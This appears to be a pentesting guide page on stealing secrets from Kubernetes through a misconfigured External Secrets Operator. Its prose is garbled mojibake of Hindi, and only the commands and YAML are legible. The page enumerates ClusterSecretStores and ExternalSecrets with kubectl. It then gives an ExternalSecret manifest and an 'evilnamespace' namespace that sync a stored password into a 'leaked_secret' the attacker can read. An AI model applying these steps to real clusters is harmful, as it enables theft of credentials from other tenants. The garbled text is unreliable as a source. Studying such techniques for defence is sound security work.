Kubernetes External Secret Operator

рдЗрд╕ рдкреГрд╖реНрда рдХреЗ рдореВрд▓ рд▓реЗрдЦрдХ рд╣реИрдВ рдлрд╛рд░реЗрд╕

рдпрд╣ рдкреГрд╖реНрда рдХреБрдЫ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдХреИрд╕реЗ рдПрдХ рдЧрд▓рдд рд░реВрдк рд╕реЗ рдПрд╕рдУ рдпрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рд░рд╣рд╕реНрдп рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЕрдкрдиреЗ рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рд╕рд┐рдВрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрд╕рдУ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

рдЕрд╕реНрд╡реАрдХреГрддрд┐

рдиреАрдЪреЗ рджрд┐рдЦрд╛рдИ рдЧрдИ рддрдХрдиреАрдХ рдХреЗрд╡рд▓ рдЙрд╕ рд╕рдордп рдХрд╛рдо рдХрд░ рд╕рдХрддреА рд╣реИ рдЬрдм рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпрд╛рдБ рдкреВрд░реА рд╣реЛрддреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЙрд╕реЗ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рд░рд╣рд╕реНрдп рдХреЛ рд╕рд┐рдВрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ / рдЕрдкрд╣рд░рд┐рдд рдХрд┐рдП рдЧрдП рдирд╛рдордХреНрд╖реЗрддреНрд░ рдкрд░ рд╣реИред рдЖрдкрдХреЛ рдЗрд╕реЗ рдЦреБрдж рд╣реА рд╕рдордЭрдирд╛ рд╣реЛрдЧрд╛ред

рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ

  1. рдПрдХ рдХреБрдмрд░рдиреЗрдЯреАрдЬ / рдУрдкрдирд╢рд┐рдлреНрдЯ рдХреНрд▓рд╕реНрдЯрд░ рдореЗрдВ рдПрдбрдорд┐рди рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рдХреЗ рд╕рд╛рде рдПрдХ рдлреБрдЯрд╣реЛрд▓реНрдб

  2. рдХрдо рд╕реЗ рдХрдо рдХреНрд▓рд╕реНрдЯрд░ рд╕реНрддрд░ рдкрд░ рдмрд╛рд╣реНрдп рд░рд╣рд╕реНрдп рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдВрдЪ

  3. рдпрд╣ рддрдп рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдЖрд╡рд╢реНрдпрдХ рд▓реЗрдмрд▓ / рдПрдиреЛрдЯреЗрд╢рди рдпрд╛ рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рдПрд╕рдУ рдХреЛ рдЖрдкрдХреЗ рд░рд╣рд╕реНрдп рдХреЛ рд╕рд┐рдВрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЕрдЧрд░ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ, рддреЛ рдЖрдк рдХрд┐рд╕реА рднреА рдкрд░рд┐рднрд╛рд╖рд┐рдд рд░рд╣рд╕реНрдп рдХреЛ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдЪреБрд░рд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдореМрдЬреВрджрд╛ рдХреНрд▓рд╕реНрдЯрд░ рд╕реАрдХреНрд░реЗрдЯ рд╕реНрдЯреЛрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдПрдХрддреНрд░ рдХрд░рдирд╛

рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ; рдкрд╣рд▓реЗ рдореМрдЬреВрджрд╛ рдХреНрд▓рд╕реНрдЯрд░ рд╕реАрдХреНрд░реЗрдЯ рд╕реНрдЯреЛрд░реНрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдХрд░ рд╢реБрд░реВ рдХрд░реЗрдВред

kubectl get ClusterSecretStore

рдмрд╛рд╣реНрдп рд╕реАрдХреНрд░реЗрдЯ рдЧрдгрдирд╛

рдЪрд▓реЛ рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдиреЗ рдПрдХ ClusterSecretStore рдЬрд┐рд╕рдХрд╛ рдирд╛рдо mystore рд╣реИ, рдкрд╛рдпрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж рдЗрд╕рдХреЗ рд╕рдВрдмрдВрдзрд┐рдд externalsecret рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВред

kubectl get externalsecret -A | grep mystore

рдпрд╣ рд╕рдВрд╕рд╛рдзрди рдиреЗрдорд╕реНрдкреЗрд╕ рд╕реНрдХреЛрдк рдХрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЬрдм рддрдХ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рдкрддрд╛ рдирд╣реАрдВ рдХрд░ рд▓реЗрддреЗ рдХрд┐ рдЖрдкрдХреЛ рдХрд┐рд╕ рдиреЗрдорд╕реНрдкреЗрд╕ рдХреА рддрд▓рд╛рд╢ рд╣реИ, рддреЛ рд╕рднреА рдиреЗрдорд╕реНрдкреЗрд╕ рдХреЗ рд▓рд┐рдП рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП -A рд╡рд┐рдХрд▓реНрдк рдЬреЛрдбрд╝реЗрдВред

рдЖрдкрдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд externalsecret рдХреА рд╕реВрдЪреА рдорд┐рд▓рдиреА рдЪрд╛рд╣рд┐рдПред рдпрд╣ рдорд╛рди рд▓реЗрдВ рдХрд┐ рдЖрдкрдиреЗ рдиреЗрдорд╕реНрдкреЗрд╕ mynamespace рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ externalsecret рдСрдмреНрдЬреЗрдХреНрдЯ mysecret рдкрд╛рдпрд╛ рд╣реИред рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдЬреБрдЯрд╛рдПрдВ рдХрд┐ рдпрд╣ рдХрд┐рд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ рд╕реАрдХреНрд░реЗрдЯ рд░рдЦрддрд╛ рд╣реИред

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

рдЯреБрдХрдбрд╝реЗ рдЬреЛрдбрд╝рдирд╛

рдпрд╣рд╛рдБ рд╕реЗ рдЖрдк рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рд░рд╣рд╕реНрдп рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ рдХрд┐ рд░рд╣рд╕реНрдп рд╕рдВрд╕рд╛рдзрди рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ)ред рдЖрдкрдХреЛ рдПрдХ рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛ рдЬреИрд╕реЗ:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
<p>рдЕрдм рддрдХ рд╣рдореЗрдВ рдорд┐рд▓рд╛ рд╣реИ:</p>

<ul>
<li>ClusterSecretStore рдХрд╛ рдирд╛рдо</li>
<li>ExternalSecret рдХрд╛ рдирд╛рдо</li>
<li>рд░рд╣рд╕реНрдп рдХрд╛ рдирд╛рдо</li>
</ul>

<p>рдЕрдм рдЬрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╕рдм рдХреБрдЫ рд╣реИ, рддреЛ рдЖрдк рдПрдХ ExternalSecret рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдФрд░ рдЕрдВрддрддрдГ рдПрдХ рдирдП Namespace рдХреЛ рдкреИрдЪ/рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдкрдХреЗ рдирдП рд░рд╣рд╕реНрдп рдХреЛ рд╕рд┐рдВрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдВ рдкреВрд░реА рд╣реЛрдВ):</p>
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

рдХреБрдЫ рдорд┐рдирдЯреЛрдВ рдХреЗ рдмрд╛рдж, рдпрджрд┐ рд╕рд┐рдВрдХ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛ рдЧрдИрдВ рдереАрдВ, рддреЛ рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдиреЗрдорд╕реНрдкреЗрд╕ рдХреЗ рдЕрдВрджрд░ рд▓реАрдХ рдХрд┐рдП рдЧрдП рд░рд╣рд╕реНрдп рдХреЛ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

kubectl get secret leaked_secret -o yaml

рд╕рдВрджрд░реНрдн

Last updated